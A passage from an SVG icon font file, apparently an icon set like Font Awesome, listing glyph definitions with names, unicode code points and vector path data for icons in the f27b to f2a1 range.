    <glyph glyph-name="_596" unicode="&#xf27b;" horiz-adv-x="1792" 
d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5
t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51
t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
    <glyph glyph-name="_597" unicode="&#xf27c;" horiz-adv-x="1024" 
d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
    <glyph glyph-name="_598" unicode="&#xf27d;" horiz-adv-x="1792" 
d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246
q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
    <glyph glyph-name="f27e" unicode="&#xf27e;" 
d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
    <glyph glyph-name="uniF280" unicode="&#xf280;" 
d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72
h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275
l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
    <glyph glyph-name="uniF281" unicode="&#xf281;" horiz-adv-x="1792" 
d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5
l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44
t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106
q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
    <glyph glyph-name="_602" unicode="&#xf282;" horiz-adv-x="1792" 
d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53
q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
    <glyph glyph-name="_603" unicode="&#xf283;" horiz-adv-x="2304" 
d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
    <glyph glyph-name="_604" unicode="&#xf284;" horiz-adv-x="1792" 
d="M1584 246l-218 111q-74 -120 -196.5 -189t-263.5 -69q-147 0 -271 72t-196 196t-72 270q0 110 42.5 209.5t115 172t172 115t209.5 42.5q131 0 247.5 -60.5t192.5 -168.5l215 125q-110 169 -286.5 265t-378.5 96q-161 0 -308 -63t-253 -169t-169 -253t-63 -308t63 -308
t169 -253t253 -169t308 -63q213 0 397.5 107t290.5 292zM1030 643l693 -352q-116 -253 -334.5 -400t-492.5 -147q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q260 0 470.5 -133.5t335.5 -366.5zM1543 640h-39v-160h-96v352h136q32 0 54.5 -20
t28.5 -48t1 -56t-27.5 -48t-57.5 -20z" />
    <glyph glyph-name="uniF285" unicode="&#xf285;" horiz-adv-x="1792" 
d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
    <glyph glyph-name="uniF286" unicode="&#xf286;" horiz-adv-x="1792" 
d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96
q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5
q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96
q16 0 16 -16z" />
    <glyph glyph-name="_607" unicode="&#xf287;" horiz-adv-x="2304" 
d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96
q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5
t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
    <glyph glyph-name="_608" unicode="&#xf288;" horiz-adv-x="1792" 
d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348
t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_609" unicode="&#xf289;" horiz-adv-x="2304" 
d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22
q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5
q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13
q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
    <glyph glyph-name="_610" unicode="&#xf28a;" 
d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83
t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20
q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5
t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
    <glyph glyph-name="_611" unicode="&#xf28b;" 
d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103
t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_612" unicode="&#xf28c;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
    <glyph glyph-name="_613" unicode="&#xf28d;" 
d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="_614" unicode="&#xf28e;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
    <glyph glyph-name="_615" unicode="&#xf290;" horiz-adv-x="1792" 
d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_616" unicode="&#xf291;" horiz-adv-x="2048" 
d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5
t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416
q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441
h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
    <glyph glyph-name="_617" unicode="&#xf292;" horiz-adv-x="1792" 
d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12
q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311
q15 0 25 -12q9 -12 6 -28z" />
    <glyph glyph-name="_618" unicode="&#xf293;" 
d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5
t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
    <glyph glyph-name="_619" unicode="&#xf294;" horiz-adv-x="1024" 
d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
    <glyph glyph-name="_620" unicode="&#xf295;" 
d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5
t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_621" unicode="&#xf296;" horiz-adv-x="1792" 
d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
    <glyph glyph-name="_622" unicode="&#xf297;" horiz-adv-x="1792" 
d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111
q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
    <glyph glyph-name="_623" unicode="&#xf298;" 
d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14
t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
    <glyph glyph-name="_624" unicode="&#xf299;" horiz-adv-x="1792" 
d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57
q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285
q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
    <glyph glyph-name="_625" unicode="&#xf29a;" horiz-adv-x="1792" 
d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42
q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298
t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_626" unicode="&#xf29b;" 
d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300
l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z
M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
    <glyph glyph-name="_627" unicode="&#xf29c;" 
d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5
t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5
t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5
t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_628" unicode="&#xf29d;" horiz-adv-x="1408" 
d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457
q-67 -192 -92 -234q-15 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521
q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661
q3 -1 7 1t7 4l3 2q11 9 11 17z" />
    <glyph glyph-name="_629" unicode="&#xf29e;" horiz-adv-x="2304" 
d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10
t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5
t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5
h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96
t9.5 -70.5z" />
    <glyph glyph-name="uniF2A0" unicode="&#xf2a0;" horiz-adv-x="1408" 
d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5
q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127
l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272
t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249
q-18 -19 -45 -19z" />
    <glyph glyph-name="uniF2A1" unicode="&#xf2a1;" horiz-adv-x="2176" 
